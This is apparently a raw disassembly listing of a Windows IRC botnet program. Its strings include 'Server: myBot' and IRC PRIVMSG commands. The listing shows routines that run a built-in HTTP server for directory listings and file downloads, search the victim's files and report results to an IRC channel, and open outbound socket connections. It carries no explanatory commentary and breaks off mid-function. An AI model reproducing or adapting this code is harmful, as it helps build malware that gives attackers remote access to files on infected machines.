		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_40EB80
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4185E6
		add	esp, 24h
		jmp	short loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EB80:				; CODE XREF: sub_40EA9D+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4185E6
		add	esp, 28h


loc_40EB9B:				; CODE XREF: sub_40EA9D+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CDF30	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40EBDB
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40F549
		pop	ecx
		pop	ecx
		jmp	short loc_40EBF8
; ---------------------------------------------------------------------------


loc_40EBDB:				; CODE XREF: sub_40EA9D+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40EEC8
		add	esp, 10h


loc_40EBF8:				; CODE XREF: sub_40EA9D+13Cj
		push	[ebp+var_44C]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_B4]
		call	sub_40A446
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_40EA9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC19	proc near		; CODE XREF: sub_40E667+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_4182F0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40EC4F
		push	offset aS_4	; "\\%s"
		jmp	short loc_40EC57
; ---------------------------------------------------------------------------


loc_40EC4F:				; CODE XREF: sub_40EC19+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset dword_42F298


loc_40EC57:				; CODE XREF: sub_40EC19+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417D40
		test	eax, eax
		pop	ecx
		jbe	short loc_40ECF2
		mov	[ebp+arg_8], 2


loc_40EC82:				; CODE XREF: sub_40EC19+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417D40
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40ECC2
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40ECC2
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40ECC2
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40ECC2
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40ECDC
; ---------------------------------------------------------------------------


loc_40ECC2:				; CODE XREF: sub_40EC19+79j
					; sub_40EC19+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40ECD2
		push	5Ch
		pop	eax
		jmp	short loc_40ECD5
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC19+B2j
		movsx	eax, al


loc_40ECD5:				; CODE XREF: sub_40EC19+B7j
		mov	[ebp+ebx+var_210], al


loc_40ECDC:				; CODE XREF: sub_40EC19+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417D40
		cmp	esi, eax
		pop	ecx
		jb	short loc_40EC82


loc_40ECF2:				; CODE XREF: sub_40EC19+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42D214
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_314]
		push	offset asc_42D76C ; "\n"
		push	eax
		call	sub_418E54
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_424098	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40ED40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ED43
		push	[ebp+arg_0]
		jmp	short loc_40EDBF
; ---------------------------------------------------------------------------


loc_40ED40:				; CODE XREF: sub_40EC19+11Bj
		mov	[ebp+var_4], esi


loc_40ED43:				; CODE XREF: sub_40EC19+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40ED50
		mov	[ebp+var_4], esi


loc_40ED50:				; CODE XREF: sub_40EC19+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40EDCA
		cmp	[ebp+arg_C], edi
		jz	short loc_40EDBE
		lea	eax, [ebp+var_314]
		push	offset asc_429218 ; "*"
		push	eax
		call	sub_418C20
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40F606
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40EE19
; ---------------------------------------------------------------------------


loc_40EDBE:				; CODE XREF: sub_40EC19+14Ej
		push	ebx


loc_40EDBF:				; CODE XREF: sub_40EC19+125j
		call	dword_4CDF78	; closesocket
		jmp	loc_40EEAF
; ---------------------------------------------------------------------------


loc_40EDCA:				; CODE XREF: sub_40EC19+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4240EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EE19
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4185E6
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_42410C	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_424068	; CloseHandle


loc_40EE19:				; CODE XREF: sub_40EC19+1A3j
					; sub_40EC19+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_4384D4
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40A130
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_440E3C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40EA9D
		push	edi
		push	edi
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40EEBE
		push	ebx
		call	dword_4CDF78	; closesocket
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_43849C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_413F3A
		add	esp, 10h


loc_40EEAF:				; CODE XREF: sub_40EC19+1ACj
					; sub_40EC19+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EEB6:				; CODE XREF: sub_40EC19+2ABj
		push	5
		call	dword_424078	; Sleep


loc_40EEBE:				; CODE XREF: sub_40EC19+266j
		cmp	[ebp+var_318], edi
		jz	short loc_40EEB6
		jmp	short loc_40EEAF
sub_40EC19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EEC8	proc near		; CODE XREF: sub_401AA1+6A40p
					; sub_40EA9D+153p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_4182F0
		mov	edi, [ebp+arg_0]
		push	offset asc_42D76C ; "\n"
		push	edi
		call	sub_418E54
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_40EF27
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 14h
		jmp	loc_40F023
; ---------------------------------------------------------------------------


loc_40EF27:				; CODE XREF: sub_40EEC8+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_40F009
		call	sub_417D40
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		push	edi
		call	sub_417D40
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 0Ch
		jmp	short loc_40F023
; ---------------------------------------------------------------------------


loc_40F009:				; CODE XREF: sub_40EEC8+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 10h


loc_40F023:				; CODE XREF: sub_40EEC8+5Aj
					; sub_40EEC8+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F0BB
		push	[ebp+arg_C]
		call	sub_417D40
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40F0BB
		push	[ebp+arg_C]
		call	sub_417D40
		sub	eax, 3
		pop	ecx
		jz	short loc_40F06F


loc_40F063:				; CODE XREF: sub_40EEC8+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40F06F
		dec	eax
		jnz	short loc_40F063


loc_40F06F:				; CODE XREF: sub_40EEC8+199j
					; sub_40EEC8+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send


loc_40F0BB:				; CODE XREF: sub_40EEC8+17Dj
					; sub_40EEC8+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_42411C	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_424118	; FindNextFileA
		test	eax, eax
		jz	loc_40F4B2
		mov	edi, 1FFh


loc_40F0E7:				; CODE XREF: sub_40EEC8+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_40F49A
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F49A
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F49A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_424114	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_424000	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_40F1E4
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_40F163:				; CODE XREF: sub_40EEC8+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4185E6
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40F31B
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F1EF
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 28h
		jmp	loc_40F46B
; ---------------------------------------------------------------------------


loc_40F1E4:				; CODE XREF: sub_40EEC8+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_40F163
; ---------------------------------------------------------------------------


loc_40F1EF:				; CODE XREF: sub_40EEC8+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_40F2D9
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417D40
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40F295
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40F29A
; ---------------------------------------------------------------------------


loc_40F295:				; CODE XREF: sub_40EEC8+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40F29A:				; CODE XREF: sub_40EEC8+3CBj
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40F45C
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: sub_40EEC8+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40F306:				; CODE XREF: sub_40EEC8+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 24h
		jmp	loc_40F46B
; ---------------------------------------------------------------------------


loc_40F31B:				; CODE XREF: sub_40EEC8+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F345
		push	ebx
		push	[ebp+var_368]
		call	sub_41480F
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40F306
; ---------------------------------------------------------------------------


loc_40F345:				; CODE XREF: sub_40EEC8+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_40F445
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42D214
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417D40
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40F3EB
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40F3F0
; ---------------------------------------------------------------------------


loc_40F3EB:				; CODE XREF: sub_40EEC8+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40F3F0:				; CODE XREF: sub_40EEC8+521j
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F445:				; CODE XREF: sub_40EEC8+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40F45C:				; CODE XREF: sub_40EEC8+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4186E0
		add	esp, 18h


loc_40F46B:				; CODE XREF: sub_40EEC8+317j
					; sub_40EEC8+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F49A
		push	7D0h
		call	dword_424078	; Sleep


loc_40F49A:				; CODE XREF: sub_40EEC8+225j
					; sub_40EEC8+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_424118	; FindNextFileA
		test	eax, eax
		jnz	loc_40F0E7


loc_40F4B2:				; CODE XREF: sub_40EEC8+214j
		push	[ebp+arg_0]
		call	dword_424110	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F4F5
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41480F
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_41480F
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4185E6
		add	esp, 14h
		jmp	short loc_40F523
; ---------------------------------------------------------------------------


loc_40F4F5:				; CODE XREF: sub_40EEC8+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_40F50F
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	short loc_40F523
; ---------------------------------------------------------------------------


loc_40F50F:				; CODE XREF: sub_40EEC8+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4185E6
		add	esp, 10h


loc_40F523:				; CODE XREF: sub_40EEC8+62Bj
					; sub_40EEC8+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40EEC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F549	proc near		; CODE XREF: sub_40EA9D+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4240EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F601
		push	esi
		push	ebx
		call	dword_42410C	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40F5FA


loc_40F58E:				; CODE XREF: sub_40F549+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40F5AB
		mov	edi, [ebp+arg_4]


loc_40F5AB:				; CODE XREF: sub_40F549+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_424120	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4240E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F5F5
		call	dword_4CDE80	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40F5FA
		xor	eax, eax


loc_40F5F5:				; CODE XREF: sub_40F549+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40F58E


loc_40F5FA:				; CODE XREF: sub_40F549+43j
					; sub_40F549+A8j
		push	ebx
		call	dword_424068	; CloseHandle


loc_40F601:				; CODE XREF: sub_40F549+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F549	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F606	proc near		; CODE XREF: sub_40EC19+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417D40
		test	eax, eax
		pop	ecx
		jbe	short loc_40F62F


loc_40F619:				; CODE XREF: sub_40F606+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40F623
		mov	byte ptr [esi+edi], 2Fh


loc_40F623:				; CODE XREF: sub_40F606+17j
		push	edi
		inc	esi
		call	sub_417D40
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F619


loc_40F62F:				; CODE XREF: sub_40F606+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F634	proc near		; CODE XREF: sub_401AA1+49DAp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CDE60	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CDF60	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CDEE4	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409B6B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F711
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40F6AD
		mov	eax, offset byte_4400B4


loc_40F6AD:				; CODE XREF: sub_40F634+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
